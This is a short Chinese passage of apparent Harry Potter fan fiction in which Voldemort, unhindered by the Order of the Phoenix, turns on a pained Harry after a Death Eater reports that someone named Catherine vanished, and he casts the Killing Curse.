“主、主人……凯瑟琳，她刚刚还在这里！但是……她凭空消失了！”一个食死徒的声音说道。
“不，她不可能凭空消失。”伏地魔说道。
哈利觉得头疼极了，不如死去……
“我没什么要跟你说的了，波特，”他平静地说。
其他凤凰社成员的魔咒完全无法阻止伏地魔，他如入无人之境，魔杖对准了哈利。
“阿瓦达索命！”